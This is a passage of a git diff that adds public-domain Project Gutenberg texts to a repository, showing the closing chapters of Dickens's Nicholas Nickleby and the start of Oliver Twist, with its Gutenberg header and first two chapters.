for she says thot's the mutual +confidence. Ha, ha, ha! Ecod, it's a room start, is the mutual +confidence!' + +The entrance of Mrs Browdie, with a smart cap on, and very many +apologies for their having been detected in the act of breakfasting +in the kitchen, stopped John in his discussion of this grave +subject, and hastened the breakfast: which, being composed of vast +mounds of toast, new-laid eggs, boiled ham, Yorkshire pie, and other +cold substantials (of which heavy relays were constantly appearing +from another kitchen under the direction of a very plump servant), +was admirably adapted to the cold bleak morning, and received the +utmost justice from all parties. At last, it came to a close; and +the fire which had been lighted in the best parlour having by this +time burnt up, they adjourned thither, to hear what Nicholas had to +tell. + +Nicholas told them all, and never was there a story which awakened +so many emotions in the breasts of two eager listeners. At one +time, honest John groaned in sympathy, and at another roared with +joy; at one time he vowed to go up to London on purpose to get a +sight of the brothers Cheeryble; and, at another, swore that Tim +Linkinwater should receive such a ham by coach, and carriage free, +as mortal knife had never carved. When Nicholas began to describe +Madeline, he sat with his mouth wide open, nudging Mrs Browdie from +time to time, and exclaiming under his breath that she must be +'raa'ther a tidy sart,' and when he heard at last that his young +friend had come down purposely to communicate his good fortune, and +to convey to him all those assurances of friendship which he could +not state with sufficient warmth in writing--that the only object of +his journey was to share his happiness with them, and to tell them +that when he was married they must come up to see him, and that +Madeline insisted on it as well as he--John could hold out no +longer, but after looking indignantly at his wife, and demanding to +know what she was whimpering for, drew his coat sleeve over his eyes +and blubbered outright. + +'Tell'ee wa'at though,' said John seriously, when a great deal had +been said on both sides, 'to return to schoolmeasther. If this news +aboot 'un has reached school today, the old 'ooman wean't have a +whole boan in her boddy, nor Fanny neither.' + +'Oh, John!' cried Mrs Browdie. + +'Ah! and Oh, John agean,' replied the Yorkshireman. 'I dinnot know +what they lads mightn't do. When it first got aboot that +schoolmeasther was in trouble, some feythers and moothers sent and +took their young chaps awa'. If them as is left, should know waat's +coom tiv'un, there'll be sike a revolution and rebel!--Ding! But I +think they'll a' gang daft, and spill bluid like wather!' + +In fact, John Browdie's apprehensions were so strong that he +determined to ride over to the school without delay, and invited +Nicholas to accompany him, which, however, he declined, pleading +that his presence might perhaps aggravate the bitterness of their +adversity. + +'Thot's true!' said John; 'I should ne'er ha' thought o' thot.' + +'I must return tomorrow,' said Nicholas, 'but I mean to dine with +you today, and if Mrs Browdie can give me a bed--' + +'Bed!' cried John, 'I wish thou couldst sleep in fower beds at once. +Ecod, thou shouldst have 'em a'. Bide till I coom back; on'y bide +till I coom back, and ecod we'll make a day of it.' + +Giving his wife a hearty kiss, and Nicholas a no less hearty shake +of the hand, John mounted his horse and rode off: leaving Mrs +Browdie to apply herself to hospitable preparations, and his young +friend to stroll about the neighbourhood, and revisit spots which +were rendered familiar to him by many a miserable association. + +John cantered away, and arriving at Dotheboys Hall, tied his horse +to a gate and made his way to the schoolroom door, which he found +locked on the inside. A tremendous noise and riot arose from +within, and, applying his eye to a convenient crevice in the wall, +he did not remain long in ignorance of its meaning. + +The news of Mr Squeers's downfall had reached Dotheboys; that was +quite clear. To all appearance, it had very recently become known +to the young gentlemen; for the rebellion had just broken out. + +It was one of the brimstone-and-treacle mornings, and Mrs Squeers +had entered school according to custom with the large bowl and +spoon, followed by Miss Squeers and the amiable Wackford: who, +during his father's absence, had taken upon him such minor branches +of the executive as kicking the pupils with his nailed boots, +pulling the hair of some of the smaller boys, pinching the others in +aggravating places, and rendering himself, in various similar ways, +a great comfort and happiness to his mother. Their entrance, +whether by premeditation or a simultaneous impulse, was the signal +of revolt. While one detachment rushed to the door and locked it, +and another mounted on the desks and forms, the stoutest (and +consequently the newest) boy seized the cane, and confronting Mrs +Squeers with a stern countenance, snatched off her cap and beaver +bonnet, put them on his own head, armed himself with the wooden +spoon, and bade her, on pain of death, go down upon her knees and +take a dose directly. Before that estimable lady could recover +herself, or offer the slightest retaliation, she was forced into a +kneeling posture by a crowd of shouting tormentors, and compelled to +swallow a spoonful of the odious mixture, rendered more than usually +savoury by the immersion in the bowl of Master Wackford's head, +whose ducking was intrusted to another rebel. The success of this +first achievement prompted the malicious crowd, whose faces were +clustered together in every variety of lank and half-starved +ugliness, to further acts of outrage. The leader was insisting upon +Mrs Squeers repeating her dose, Master Squeers was undergoing +another dip in the treacle, and a violent assault had been commenced +on Miss Squeers, when John Browdie, bursting open the door with a +vigorous kick, rushed to the rescue. The shouts, screams, groans, +hoots, and clapping of hands, suddenly ceased, and a dead silence +ensued. + +'Ye be noice chaps,' said John, looking steadily round. 'What's to +do here, thou yoong dogs?' + +'Squeers is in prison, and we are going to run away!' cried a score +of shrill voices. 'We won't stop, we won't stop!' + +'Weel then, dinnot stop,' replied John; 'who waants thee to stop? +Roon awa' loike men, but dinnot hurt the women.' + +'Hurrah!' cried the shrill voices, more shrilly still. + +'Hurrah?' repeated John. 'Weel, hurrah loike men too. Noo then, +look out. Hip--hip,--hip--hurrah!' + +'Hurrah!' cried the voices. + +'Hurrah! Agean;' said John. 'Looder still.' + +The boys obeyed. + +'Anoother!' said John. 'Dinnot be afeared on it. Let's have a good +'un!' + +'Hurrah!' + +'Noo then,' said John, 'let's have yan more to end wi', and then +coot off as quick as you loike. Tak'a good breath noo--Squeers be +in jail--the school's brokken oop--it's a' ower--past and gane-- +think o' thot, and let it be a hearty 'un! Hurrah!' + +Such a cheer arose as the walls of Dotheboys Hall had never echoed +before, and were destined never to respond to again. When the sound +had died away, the school was empty; and of the busy noisy crowd +which had peopled it but five minutes before, not one remained. + +'Very well, Mr Browdie!' said Miss Squeers, hot and flushed from the +recent encounter, but vixenish to the last; 'you've been and excited +our boys to run away. Now see if we don't pay you out for that, +sir! If my pa IS unfortunate and trod down by henemies, we're not +going to be basely crowed and conquered over by you and 'Tilda.' + +'Noa!' replied John bluntly, 'thou bean't. Tak' thy oath o' thot. +Think betther o' us, Fanny. I tell 'ee both, that I'm glod the auld +man has been caught out at last--dom'd glod--but ye'll sooffer eneaf +wi'out any crowin' fra' me, and I be not the mun to crow, nor be +Tilly the lass, so I tell 'ee flat. More than thot, I tell 'ee noo, +that if thou need'st friends to help thee awa' from this place-- +dinnot turn up thy nose, Fanny, thou may'st--thou'lt foind Tilly and +I wi' a thout o' old times aboot us, ready to lend thee a hond. And +when I say thot, dinnot think I be asheamed of waa't I've deane, for +I say again, Hurrah! and dom the schoolmeasther. There!' + +His parting words concluded, John Browdie strode heavily out, +remounted his nag, put him once more into a smart canter, and, +carolling lustily forth some fragments of an old song, to which the +horse's hoofs rang a merry accompaniment, sped back to his pretty +wife and to Nicholas. + +For some days afterwards, the neighbouring country was overrun with +boys, who, the report went, had been secretly furnished by Mr and +Mrs Browdie, not only with a hearty meal of bread and meat, but with +sundry shillings and sixpences to help them on their way. To this +rumour John always returned a stout denial, which he accompanied, +however, with a lurking grin, that rendered the suspicious doubtful, +and fully confirmed all previous believers. + +There were a few timid young children, who, miserable as they had +been, and many as were the tears they had shed in the wretched +school, still knew no other home, and had formed for it a sort of +attachment, which made them weep when the bolder spirits fled, and +cling to it as a refuge. Of these, some were found crying under +hedges and in such places, frightened at the solitude. One had a +dead bird in a little cage; he had wandered nearly twenty miles, and +when his poor favourite died, lost courage, and lay down beside him. +Another was discovered in a yard hard by the school, sleeping with a +dog, who bit at those who came to remove him, and licked the +sleeping child's pale face. + +They were taken back, and some other stragglers were recovered, but +by degrees they were claimed, or lost again; and, in course of time, +Dotheboys Hall and its last breaking-up began to be forgotten by the +neighbours, or to be only spoken of as among the things that had +been. + + + +CHAPTER 65 + +Conclusion + + +When her term of mourning had expired, Madeline gave her hand and +fortune to Nicholas; and, on the same day and at the same time, Kate +became Mrs Frank Cheeryble. It was expected that Tim Linkinwater +and Miss La Creevy would have made a third couple on the occasion, +but they declined, and two or three weeks afterwards went out +together one morning before breakfast, and, coming back with merry +faces, were found to have been quietly married that day. + +The money which Nicholas acquired in right of his wife he invested +in the firm of Cheeryble Brothers, in which Frank had become a +partner. Before many years elapsed, the business began to be +carried on in the names of 'Cheeryble and Nickleby,' so that Mrs +Nickleby's prophetic anticipations were realised at last. + +The twin brothers retired. Who needs to be told that THEY were +happy? They were surrounded by happiness of their own creation, and +lived but to increase it. + +Tim Linkinwater condescended, after much entreaty and brow-beating, +to accept a share in the house; but he could never be prevailed upon +to suffer the publication of his name as a partner, and always +persisted in the punctual and regular discharge of his clerkly +duties. + +He and his wife lived in the old house, and occupied the very +bedchamber in which he had slept for four-and-forty years. As his +wife grew older, she became even a more cheerful and light-hearted +little creature; and it was a common saying among their friends, +that it was impossible to say which looked the happier, Tim as he +sat calmly smiling in his elbow-chair on one side of the fire, or +his brisk little wife chatting and laughing, and constantly bustling +in and out of hers, on the other. + +Dick, the blackbird, was removed from the counting-house and +promoted to a warm corner in the common sitting-room. Beneath his +cage hung two miniatures, of Mrs Linkinwater's execution; one +representing herself, and the other Tim; and both smiling very hard +at all beholders. Tim's head being powdered like a twelfth cake, +and his spectacles copied with great nicety, strangers detected a +close resemblance to him at the first glance, and this leading them +to suspect that the other must be his wife, and emboldening them to +say so without scruple, Mrs Linkinwater grew very proud of these +achievements in time, and considered them among the most successful +likenesses she had ever painted. Tim had the profoundest faith in +them, likewise; for on this, as on all other subjects, they held but +one opinion; and if ever there were a 'comfortable couple' in the +world, it was Mr and Mrs Linkinwater. + +Ralph, having died intestate, and having no relations but those with +whom he had lived in such enmity, they would have become in legal +course his heirs. But they could not bear the thought of growing +rich on money so acquired, and felt as though they could never hope +to prosper with it. They made no claim to his wealth; and the +riches for which he had toiled all his days, and burdened his soul +with so many evil deeds, were swept at last into the coffers of the +state, and no man was the better or the happier for them. + +Arthur Gride was tried for the unlawful possession of the will, +which he had either procured to be stolen, or had dishonestly +acquired and retained by other means as bad. By dint of an +ingenious counsel, and a legal flaw, he escaped; but only to undergo +a worse punishment; for, some years afterwards, his house was broken +open in the night by robbers, tempted by the rumours of his great +wealth, and he was found murdered in his bed. + +Mrs Sliderskew went beyond the seas at nearly the same time as Mr +Squeers, and in the course of nature never returned. Brooker died +penitent. Sir Mulberry Hawk lived abroad for some years, courted +and caressed, and in high repute as a fine dashing fellow. +Ultimately, returning to this country, he was thrown into jail for +debt, and there perished miserably, as such high spirits generally +do. + +The first act of Nicholas, when he became a rich and prosperous +merchant, was to buy his father's old house. As time crept on, and +there came gradually about him a group of lovely children, it was +altered and enlarged; but none of the old rooms were ever pulled +down, no old tree was ever rooted up, nothing with which there was +any association of bygone times was ever removed or changed. + +Within a stone's throw was another retreat, enlivened by children's +pleasant voices too; and here was Kate, with many new cares and +occupations, and many new faces courting her sweet smile (and one so +like her own, that to her mother she seemed a child again), the same +true gentle creature, the same fond sister, the same in the love of +all about her, as in her girlish days. + +Mrs Nickleby lived, sometimes with her daughter, and sometimes with +her son, accompanying one or other of them to London at those +periods when the cares of business obliged both families to reside +there, and always preserving a great appearance of dignity, and +relating her experiences (especially on points connected with the +management and bringing-up of children) with much solemnity and +importance. It was a very long time before she could be induced to +receive Mrs Linkinwater into favour, and it is even doubtful whether +she ever thoroughly forgave her. + +There was one grey-haired, quiet, harmless gentleman, who, winter +and summer, lived in a little cottage hard by Nicholas's house, and, +when he was not there, assumed the superintendence of affairs. His +chief pleasure and delight was in the children, with whom he was a +child himself, and master of the revels. The little people could do +nothing without dear Newman Noggs. + +The grass was green above the dead boy's grave, and trodden by feet +so small and light, that not a daisy drooped its head beneath their +pressure. Through all the spring and summertime, garlands of fresh +flowers, wreathed by infant hands, rested on the stone; and, when +the children came to change them lest they should wither and be +pleasant to him no longer, their eyes filled with tears, and they +spoke low and softly of their poor dead cousin. + + + + + +End of The Project Gutenberg Etext of Nicholas Nickleby, by Dickens + diff --git a/mccalum/olivr11.txt b/mccalum/olivr11.txt new file mode 100644 index 0000000..422ee38 --- /dev/null +++ b/mccalum/olivr11.txt @@ -0,0 +1,20343 @@ +The Project Gutenberg EBook of Oliver Twist, by Charles Dickens +#13 in our series by Charles Dickens + +Copyright laws are changing all over the world. Be sure to check the +copyright laws for your country before downloading or redistributing +this or any other Project Gutenberg eBook. + +This header should be the first thing seen when viewing this Project +Gutenberg file. Please do not remove it. Do not change or edit the +header without written permission. + +Please read the "legal small print," and other information about the +eBook and Project Gutenberg at the bottom of this file. Included is +important information about your specific rights and restrictions in +how the file may be used. You can also find out about how to make a +donation to Project Gutenberg, and how to get involved. + + +**Welcome To The World of Free Plain Vanilla Electronic Texts** + +**eBooks Readable By Both Humans and By Computers, Since 1971** + +*****These eBooks Were Prepared By Thousands of Volunteers!***** + + +Title: Oliver Twist + +Author: Charles Dickens + +Release Date: November, 1996 [EBook #730] +[This file was last updated on July 2, 2003] + +Edition: 11 + +Language: English + +Character set encoding: ASCII + +*** START OF THE PROJECT GUTENBERG EBOOK OLIVER TWIST *** + + + + +This etext was created by Peggy Gaugy. +Edition 11 editing by Leigh Little. + + + + + +OLIVER TWIST +OR +THE PARISH BOY'S PROGRESS +BY +CHARLES DICKENS + + + + +CHAPTER I + +TREATS OF THE PLACE WHERE OLIVER TWIST WAS BORN AND OF THE +CIRCUMSTANCES ATTENDING HIS BIRTH + +Among other public buildings in a certain town, which for many +reasons it will be prudent to refrain from mentioning, and to +which I will assign no fictitious name, there is one anciently +common to most towns, great or small: to wit, a workhouse; and +in this workhouse was born; on a day and date which I need not +trouble myself to repeat, inasmuch as it can be of no possible +consequence to the reader, in this stage of the business at all +events; the item of mortality whose name is prefixed to the head +of this chapter. + +For a long time after it was ushered into this world of sorrow +and trouble, by the parish surgeon, it remained a matter of +considerable doubt whether the child would survive to bear any +name at all; in which case it is somewhat more than probable that +these memoirs would never have appeared; or, if they had, that +being comprised within a couple of pages, they would have +possessed the inestimable merit of being the most concise and +faithful specimen of biography, extant in the literature of any +age or country. + +Although I am not disposed to maintain that the being born in a +workhouse, is in itself the most fortunate and enviable +circumstance that can possibly befall a human being, I do mean to +say that in this particular instance, it was the best thing for +Oliver Twist that could by possibility have occurred. The fact +is, that there was considerable difficulty in inducing Oliver to +take upon himself the office of respiration,--a troublesome +practice, but one which custom has rendered necessary to our easy +existence; and for some time he lay gasping on a little flock +mattress, rather unequally poised between this world and the +next: the balance being decidedly in favour of the latter. Now, +if, during this brief period, Oliver had been surrounded by +careful grandmothers, anxious aunts, experienced nurses, and +doctors of profound wisdom, he would most inevitably and +indubitably have been killed in no time. There being nobody by, +however, but a pauper old woman, who was rendered rather misty by +an unwonted allowance of beer; and a parish surgeon who did such +matters by contract; Oliver and Nature fought out the point +between them. The result was, that, after a few struggles, +Oliver breathed, sneezed, and proceeded to advertise to the +inmates of the workhouse the fact of a new burden having been +imposed upon the parish, by setting up as loud a cry as could +reasonably have been expected from a male infant who had not been +possessed of that very useful appendage, a voice, for a much +longer space of time than three minutes and a quarter. + +As Oliver gave this first proof of the free and proper action of +his lungs, the patchwork coverlet which was carelessly flung over +the iron bedstead, rustled; the pale face of a young woman was +raised feebly from the pillow; and a faint voice imperfectly +articulated the words, 'Let me see the child, and die.' + +The surgeon had been sitting with his face turned towards the +fire: giving the palms of his hands a warm and a rub +alternately. As the young woman spoke, he rose, and advancing to +the bed's head, said, with more kindness than might have been +expected of him: + +'Oh, you must not talk about dying yet.' + +'Lor bless her dear heart, no!' interposed the nurse, hastily +depositing in her pocket a green glass bottle, the contents of +which she had been tasting in a corner with evident satisfaction. + +'Lor bless her dear heart, when she has lived as long as I have, +sir, and had thirteen children of her own, and all on 'em dead +except two, and them in the wurkus with me, she'll know better +than to take on in that way, bless her dear heart! Think what it +is to be a mother, there's a dear young lamb do.' + +Apparently this consolatory perspective of a mother's prospects +failed in producing its due effect. The patient shook her head, +and stretched out her hand towards the child. + +The surgeon deposited it in her arms. She imprinted her cold +white lips passionately on its forehead; passed her hands over +her face; gazed wildly round; shuddered; fell back--and died. +They chafed her breast, hands, and temples; but the blood had +stopped forever. They talked of hope and comfort. They had been +strangers too long. + +'It's all over, Mrs. Thingummy!' said the surgeon at last. + +'Ah, poor dear, so it is!' said the nurse, picking up the cork of +the green bottle, which had fallen out on the pillow, as she +stooped to take up the child. 'Poor dear!' + +'You needn't mind sending up to me, if the child cries, nurse,' +said the surgeon, putting on his gloves with great deliberation. +'It's very likely it _will_ be troublesome. Give it a little gruel +if it is.' He put on his hat, and, pausing by the bed-side on +his way to the door, added, 'She was a good-looking girl, too; +where did she come from?' + +'She was brought here last night,' replied the old woman, 'by the +overseer's order. She was found lying in the street. She had +walked some distance, for her shoes were worn to pieces; but +where she came from, or where she was going to, nobody knows.' + +The surgeon leaned over the body, and raised the left hand. 'The +old story,' he said, shaking his head: 'no wedding-ring, I see. +Ah! Good-night!' + +The medical gentleman walked away to dinner; and the nurse, +having once more applied herself to the green bottle, sat down on +a low chair before the fire, and proceeded to dress the infant. + +What an excellent example of the power of dress, young Oliver +Twist was! Wrapped in the blanket which had hitherto formed his +only covering, he might have been the child of a nobleman or a +beggar; it would have been hard for the haughtiest stranger to +have assigned him his proper station in society. But now that he +was enveloped in the old calico robes which had grown yellow in +the same service, he was badged and ticketed, and fell into his +place at once--a parish child--the orphan of a workhouse--the +humble, half-starved drudge--to be cuffed and buffeted through +the world--despised by all, and pitied by none. + +Oliver cried lustily. If he could have known that he was an +orphan, left to the tender mercies of church-wardens and +overseers, perhaps he would have cried the louder. + + + + +CHAPTER II + +TREATS OF OLIVER TWIST'S GROWTH, EDUCATION, AND BOARD + +For the next eight or ten months, Oliver was the victim of a +systematic course of treachery and deception. He was brought up +by hand. The hungry and destitute situation of the infant orphan +was duly reported by the workhouse authorities to the parish +authorities. The parish authorities inquired with dignity of the +workhouse authorities, whether there was no female then domiciled +in 'the house' who was in a situation to impart to Oliver Twist, +the consolation and nourishment of which he stood in need. The +workhouse authorities replied with humility, that there was not. +Upon this, the parish authorities magnanimously and humanely +resolved, that Oliver should be 'farmed,' or, in other words, +that he should be dispatched to a branch-workhouse some three +miles off, where twenty or thirty other juvenile offenders +against the poor-laws, rolled about the floor all day, without +the inconvenience of too much food or too much clothing, under +the parental superintendence of an elderly female, who received +the culprits at and for the consideration of sevenpence-halfpenny +per small head per week. Sevenpence-halfpenny's worth per week +is a good round diet for a child; a great deal may be got for +sevenpence-halfpenny, quite enough to overload its stomach, and +make it uncomfortable. The elderly female was a woman of wisdom +and experience; she knew what was good for children; and she had +a very accurate perception of what was good for herself. So, she +appropriated the greater part of the weekly stipend to her own +use, and consigned the rising parochial generation to even a +shorter allowance than was originally provided for them. Thereby +finding in the lowest depth a deeper still; and proving herself a +very great experimental philosopher. + +Everybody knows the story of another experimental philosopher who +had a great theory about a horse being able to live without +eating, and who demonstrated it so well, that he had got his own +horse down to a straw a day, and would unquestionably have +rendered him a very spirited and rampacious animal on nothing at +all, if he had not died, four-and-twenty hours before he was to +have had his first comfortable bait of air. Unfortunately for, +the experimental philosophy of the female to whose protecting care +Oliver Twist was delivered over, a similar result usually +attended the operation of _her_ system; for at the very moment when +the child had contrived to exist upon the smallest possible +portion of the weakest possible food, it did perversely happen in +eight and a half cases out of ten, either that it sickened from +want and cold, or fell into the fire from neglect, or got +half-smothered by accident; in any one of which cases, the +miserable little being was usually summoned into another world, +and there gathered to the fathers it had never known in this. + +Occasionally, when there was some more than usually interesting +inquest upon a parish child who had been overlooked in turning up +a bedstead, or inadvertently scalded to death when there happened +to be a washing--though the latter accident was very scarce, +anything approaching to a washing being of rare occurrence in the +farm--the jury would take it into their heads to ask troublesome +questions, or the parishioners would rebelliously affix their +signatures to a remonstrance. But these impertinences were +speedily checked by the evidence of the surgeon, and the +testimony of the beadle; the former of whom had always opened the +body and found nothing inside (which was very probable indeed), +and the latter of whom invariably swore whatever the parish +wanted; which was very self-devotional. Besides, the board made +periodical pilgrimages to the farm, and always sent the beadle +the day before, to say they were going. The children were neat +and clean to behold, when _they_ went; and what more would the +people have! + +It cannot be expected that this system of farming would produce +any very extraordinary or luxuriant crop. Oliver Twist's ninth +birthday found him a pale thin child, somewhat diminutive in +stature, and decidedly small in circumference. But nature or +inheritance had implanted a good sturdy spirit in Oliver's +breast. It had had plenty of room to expand, thanks to the spare +diet of the establishment; and perhaps to this circumstance may +be attributed his having any ninth birth-day at all. Be this as +it may, however, it was his ninth birthday; and he was keeping it +in the coal-cellar with a select party of two other young +gentleman, who, after participating with him in a sound +thrashing, had been locked up for atrociously presuming to be +hungry, when Mrs. Mann, the good lady of the house, was +unexpectedly startled by the apparition of Mr. Bumble, the +beadle, striving to undo the wicket of the garden-gate. + +'Goodness gracious! Is that you, Mr. Bumble, sir?' said Mrs. +Mann, thrusting her head out of the window in well-affected +ecstasies of joy. '(Susan, take Oliver and them two brats +upstairs, and wash 'em directly.)--My heart alive! Mr. Bumble, +how glad I am to see you, sure-ly!' + +Now, Mr. Bumble was a fat man, and a choleric; so, instead of +responding to this open-hearted salutation in a kindred spirit, +he gave the little wicket a tremendous shake, and then bestowed +upon it a kick which could have emanated from no leg but a +beadle's. + +'Lor, only think,' said Mrs. Mann, running out,--for the three +boys had been removed by this time,--'only think of that! That I +should have forgotten that the gate was bolted on the inside, on +account of them dear children! Walk in sir; walk in, pray, Mr. +Bumble, do, sir.' + +Although this invitation was accompanied with a curtsey that +might have softened the heart of a church-warden, it by no means +mollified the beadle. + +'Do you think this respectful or proper conduct, Mrs. Mann,' +inquired Mr. Bumble, grasping his cane, 'to keep the parish +officers a waiting at your garden-gate, when they come here upon +porochial business with the porochial orphans? Are you aweer, +Mrs. Mann, that you are, as I may say, a porochial delegate, and +a stipendiary?' + +'I'm sure Mr. Bumble, that I was only a telling one or two of the +dear children as is so fond of you, that it was you a coming,' +replied Mrs. Mann with great humility. + +Mr. Bumble had a great idea of his oratorical powers and his +importance. He had displayed the one, and vindicated the other. +He relaxed. + +'Well, well, Mrs. Mann,' he replied in a calmer tone; 'it may be +as you say; it may be. Lead the way in, Mrs. Mann, for I come on +business, and have something to say.' + +Mrs. Mann ushered the beadle into a small parlour with a brick +floor; placed a seat for him; and officiously deposited his +cocked hat and cane on the table before him. Mr. Bumble wiped +from his forehead the perspiration which his walk had engendered, +glanced complacently at the cocked hat, and smiled. Yes, he +smiled. Beadles are but men: and Mr. Bumble smiled. + +'Now don't you be offended at what I'm a going to say,' observed +Mrs. Mann, with captivating sweetness. 'You've had a long walk, +you know, or I wouldn't mention it. Now, will you take a little +drop of somethink, Mr. Bumble?' + +'Not a drop. Nor a drop,' said Mr. Bumble, waving his right hand +in a dignified, but placid manner. + +'I think you will,' said Mrs. Mann, who had noticed the tone of +the refusal, and the gesture that had accompanied it. 'Just a +leetle drop, with a little cold water, and a lump of sugar.' + +Mr. Bumble coughed. + +'Now, just a leetle drop,' said Mrs. Mann persuasively. + +'What is it?' inquired the beadle. + +'Why, it's what I'm obliged to keep a little of in the house, to +put into the blessed infants' Daffy, when they ain't well, Mr. +Bumble,' replied Mrs. Mann as she opened a corner cupboard, and +took down a bottle and glass. 'It's gin. I'll not deceive you, +Mr. B. It's gin.' + +'Do you give the children Daffy, Mrs. Mann?' inquired Bumble, +following with his eyes the interesting process of mixing. + +'Ah, bless 'em, that I do, dear as it is,' replied the nurse. 'I +couldn't see 'em suffer before my very eyes, you know sir.' + +'No'; said Mr. Bumble approvingly; 'no, you could not. You are a +humane woman, Mrs. Mann.' (Here she set down the glass.) 'I +shall take a early opportunity of mentioning it to the board, +Mrs. Mann.' (He drew it towards him.) 'You feel as a mother, +Mrs. Mann.' (He stirred the gin-and-water.) 'I--I drink your +health with cheerfulness, Mrs. Mann'; and he swallowed half of +it. + +'And now about business,' said the beadle, taking out a leathern +pocket-book. 'The child that was half-baptized Oliver Twist, is +nine year old to-day.' + +'Bless him!' interposed Mrs. Mann, inflaming her left eye with +the corner of her apron. + +'And notwithstanding a offered reward of ten pound, which was +afterwards increased to twenty pound. Notwithstanding the most +superlative, and, I may say, supernat'ral exertions on the part +of this parish,' said Bumble, 'we have never been able to +discover who is his father, or what was his mother's settlement, +name, or con--dition.' + +Mrs. Mann raised her hands in astonishment; but added, after a +moment's reflection, 'How comes he to have any name at all, +then?' + +The beadle drew himself up with great pride, and said, 'I +inwented it.' + +'You, Mr. Bumble!' + +'I, Mrs. Mann. We name our fondlings in alphabetical order. The +last was a S,--Swubble, I named him. This was a T,--Twist, I +named _him_. The next one comes will be Unwin, and the next +Vilkins. I have got names ready made to the end of the alphabet, +and all the way through it again, when we come to Z.' + +'Why, you're quite a literary character, sir!' said Mrs. Mann. + +'Well, well,' said the beadle, evidently gratified with the +compliment; 'perhaps I may be. Perhaps I may be, Mrs. Mann.' He +finished the gin-and-water, and added, 'Oliver being now too old +to remain here, the board have determined to have him back into +the house. I have come out myself to take him there. So let me +see him at once.' + +'I'll fetch him directly,' said Mrs. Mann, leaving the room for +that purpose. Oliver, having had by this time as much of the +outer coat of dirt which encrusted his face and hands, removed, +as could be scrubbed off in one washing, was led into the room by +his benevolent protectress. + +'Make a bow to the gentleman, Oliver,' said Mrs. Mann. + +Oliver made a bow, which was divided between the beadle on the +chair, and the cocked hat on the table. + +'Will you go along with me, Oliver?' said Mr. Bumble, in a +majestic voice. + +Oliver was about to say that he would go along with anybody with +great readiness, when, glancing upward, he caught sight of Mrs. +Mann, who had got behind the beadle's chair, and was shaking her +fist at him with a furious countenance. He took the hint at +once, for the fist had been too often impressed upon his body not +to be deeply impressed upon his recollection. + +'Will she go with me?' inquired poor Oliver. + +'No, she can't,' replied Mr. Bumble. 'But she'll come and see +you sometimes.' + +This was no very great consolation to the child. Young as he +was, however, he had sense enough to make a feint of feeling +great regret at going away. It was no very difficult matter for +the boy to call tears into his eyes. Hunger and recent ill-usage +are great assistants if you want to cry; and Oliver cried very +naturally indeed. Mrs. Mann gave him a thousand embraces, and +what Oliver wanted a great deal more, a piece of bread and +butter, less he should seem too hungry when he got to the +workhouse. With the slice of bread in his hand, and the little +brown-cloth parish cap on his head, Oliver was then led away by +Mr. Bumble from the wretched home where one kind word or look had +never lighted the gloom of his infant years. And yet he burst +into an agony of childish grief, as the cottage-gate closed after +him. Wretched as were the little companions in misery he was +leaving behind, they were the only friends he had ever known; and +a sense of his loneliness in the great wide world, sank into the +child's heart for the first time. + +Mr. Bumble walked on with long strides; little Oliver, firmly +grasping his gold-laced cuff, trotted beside him, inquiring at +the end of every quarter of a mile whether they were 'nearly +there.' To these interrogations Mr. Bumble returned very brief +and snappish replies; for the temporary blandness which +gin-and-water awakens in some bosoms had by this time evaporated; +and he was once again a beadle. + +Oliver had not been within the walls of the workhouse a quarter +of an hour, and had scarcely completed the demolition of a second +slice of bread, when Mr. Bumble, who had handed him over to the +care of an old woman, returned; and, telling him it was a board +night, informed him that the board had said he was to appear +before it forthwith. + +Not having a very clearly defined notion of what a live board +was, Oliver was rather astounded by this intelligence, and was +not quite certain whether he ought to laugh or cry. He had no +time to think about the matter, however; for Mr. Bumble gave him +a tap on the head, with his cane, to wake him up: and another on +the back to make him lively: and bidding him to follow, +conducted him into a large white-washed room, where eight or ten +fat gentlemen were sitting round a table. At the top of the +table, seated in an arm-chair rather higher than the rest, was a +particularly fat gentleman with a very round, red face. + +'Bow to the board,' said Bumble. Oliver brushed away two or +three tears that were lingering in his eyes; and seeing no board +but the table, fortunately bowed to that. + +'What's your name, boy?' said the gentleman in the high chair. + +Oliver was frightened at the sight of so many gentlemen, which +made him tremble: and the beadle gave him another tap behind, +which made him cry. These two causes made him answer in a very +low and hesitating voice; whereupon a gentleman in a white +waistcoat said he was a fool. Which was a capital way of raising +his spirits, and putting him quite at his ease. + +'Boy,' said the gentleman in the high chair, 'listen to me. You +know you're an orphan, I suppose?' + +'What's that, sir?' inquired poor Oliver. + +'The boy _is_ a fool--I thought he was,' said the gentleman in the +white waistcoat. + +'Hush!' said the gentleman who had spoken first. 'You know +you've got no father or mother, and that you were brought up by +the parish, don't you?' + +'Yes, sir,' replied Oliver, weeping bitterly. + +'What are you crying for?' inquired the gentleman in the white +waistcoat. And to be sure it was very extraordinary. What _could_ +the boy be crying for? + +'I hope you say your prayers every night,' said another gentleman +in a gruff voice; 'and pray for the people who feed you, and take +care of you--like a Christian.' + +'Yes, sir,' stammered the boy. The gentleman who spoke last was +unconsciously right. It would have been very like a Christian, +and a marvellously good Christian too, if Oliver had prayed for +the people who fed and took care of _him_. But he hadn't, because +nobody had taught him. + +'Well! You have come here to be educated, and taught a useful +trade,' said the red-faced gentleman in the high chair. + +'So you'll begin to pick oakum to-morrow morning at six o'clock,' +added the surly one in the white waistcoat. + +For the combination of both these blessings in the one simple +process of picking oakum, Oliver bowed low by the direction of +the beadle, and was then hurried away to a large ward; where, on +a rough, hard bed, he sobbed himself to sleep. What a novel +illustration of the tender laws of England! They let the paupers +go to sleep! + +Poor Oliver! He little thought, as he lay sleeping in happy +unconsciousness of all around him, that the board had that very +day arrived at a decision which would exercise the most material +influence over all his future fortunes. But they had. And this +was it: + +The members of this board were very sage, deep, philosophical +men; and when they came to turn their attention to the workhouse, +they found out at once, what ordinary folks would never have +discovered--the poor people liked it! It was a regular place of +public entertainment for the poorer classes; a tavern where there +was nothing to pay; a public breakfast, dinner, tea, and supper +all the year round; a brick and mortar elysium, where it was all +play and no work. 'Oho!' said the board, looking very knowing; +'we are the fellows to set this to rights; we'll stop it all, in +no time.' So, they established the rule, that all poor people +should have the alternative (for they would compel nobody, not +they), of being starved by a gradual process in the house, or by +a quick one out of it. With this view, they contracted with the +water-works to lay on an unlimited supply of water; and with a +corn-factor to supply periodically small quantities of oatmeal; +and issued three meals of thin gruel a day, with an onion twice a +week, and half a roll of Sundays. They made a great many other +wise and humane regulations, having reference to the ladies, +which it is not necessary to repeat; kindly undertook to divorce +poor married people, in consequence of the great expense of a +suit in Doctors' Commons; and, instead of compelling a man to +support his family, as they had theretofore done, took his family +away from him, and made him a bachelor! There is no saying how +many applicants for relief, under these last two heads, might +have started up in all classes of society, if it had not been +coupled with the 